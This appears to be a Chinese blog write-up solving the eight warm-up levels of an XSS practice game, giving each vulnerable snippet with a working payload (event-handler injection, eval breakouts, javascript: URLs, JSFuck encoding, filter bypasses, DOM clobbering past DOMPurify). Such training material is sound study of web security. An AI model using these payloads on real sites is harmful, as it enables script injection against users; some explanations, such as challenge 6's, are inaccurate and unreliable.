XSS之xss game

链接如下:

Challenges

1.Ma Spaghet!

源码;

html 复制代码
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

somebody=<img src=1 οnerrοr="alert(1337)">

解释:

  • innerHTML属性会解析并插入HTML内容。通过将somebody参数设置为含有<img>标签的payload,利用onerror事件触发alert(1337)
  • 由于innerHTML会将内容解释为HTML,<img>标签的onerror事件会在加载图片时触发。这里的src=1是一个无效的图片链接,将导致错误,从而触发onerror事件。

2.Jefff

源码:

html 复制代码
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

?jeff=aaa";alert(1337);"

解释:

  • eval函数会执行动态生成的JavaScript代码。通过在jeff参数中注入";alert(1337);",可以破坏字符串的拼接,直接在eval中插入恶意代码。
  • aaa";alert(1337);"使得eval代码变成:ma = "Ma name aaa";alert(1337);。这样,alert(1337)就会被执行。

3.Ugandan Knuckles

源码:

html 复制代码
<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

?wey=aaa" οnfοcus="alert(1337)" autofocus="true

解释:

  • innerHTML会解析为HTML内容。通过在placeholder属性中注入"onfocus事件,可以在文本框获得焦点时触发alert(1337)
  • onfocus="alert(1337)"在文本框被聚焦时触发警报。

4.Ricardo Milos

源码:

html 复制代码
<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

?ricardo=javascript:alert(1337)

解释:

  • action属性决定了表单提交的目标。当其设置为javascript:alert(1337)时,表单提交会执行JavaScript代码。
  • ricardo.submit()在2秒后提交表单,从而执行了alert(1337)

5.Ah That's Hawt

源码;

html 复制代码
<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">

解释:

  • 通过innerHTML插入带有onerror属性的<img>标签。onerror事件中的location="javascript:alert%25281337%2529"会触发JavaScript代码。
  • %2528%2529()的URL编码,确保字符串在JavaScript中正确解析。

6.Ligma

源码:

html 复制代码
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

访问链接:JSFuck - Write any JavaScript with 6 Characters: []()!+JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to execute code.https://jsfuck.com/

url编码后

复制,最后payload为:

balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%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5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)

解释:

  • replace(/[A-Za-z0-9]/g, '')会去掉字符串中的所有字母和数字,只保留其他字符。如果balls参数是javascript:alert(1337),所有字母和数字会被删除,剩下的内容就是javascript:alert(1337),这会被eval执行。

7.Mafia

源码:

javascript 复制代码
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

?mafia=eval(8680439..toString(30))(1337)

?mafia=eval(location.hash.slice(1))#alert(1337)

解释:

  • replace(/[\'"+-!\]/gi, '_')替换了特定字符,并移除alert。不同的payload利用eval`执行不同的JavaScript代码:
    1. Function(/ALERT(1337)/.source.toLowerCase())()创建了一个执行alert(1337)的函数。
    2. eval(8680439..toString(30))(1337)是利用eval函数的动态执行。
    3. eval(location.hash.slice(1))#alert(1337)利用hash参数注入代码。

8.Ok, Boomer

源码:

html 复制代码
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

?boomer=<a%20id=ok%20href=mailto:alert(1337)>

解释:

  • DOMPurify.sanitize用于清理和过滤输入内容。通过<a>标签并利用href属性注入mailto:协议,虽然DOMPurify会过滤大多数内容,但在实际应用中,如果过滤规则不够严格,可能会执行注入的代码。

至此,xss game的Warmups部分已结束!

相关推荐
逐·風9 分钟前
unity关于自定义渲染、内存管理、性能调优、复杂物理模拟、并行计算以及插件开发
前端·unity·c#
Devil枫38 分钟前
Vue 3 单元测试与E2E测试
前端·vue.js·单元测试
尚梦1 小时前
uni-app 封装刘海状态栏(适用小程序, h5, 头条小程序)
前端·小程序·uni-app
GIS程序媛—椰子2 小时前
【Vue 全家桶】6、vue-router 路由(更新中)
前端·vue.js
前端青山2 小时前
Node.js-增强 API 安全性和性能优化
开发语言·前端·javascript·性能优化·前端框架·node.js
hikktn2 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
毕业设计制作和分享3 小时前
ssm《数据库系统原理》课程平台的设计与实现+vue
前端·数据库·vue.js·oracle·mybatis
从兄3 小时前
vue 使用docx-preview 预览替换文档内的特定变量
javascript·vue.js·ecmascript
23zhgjx-NanKon4 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon4 小时前
华为eNSP:mux-vlan
网络·安全·华为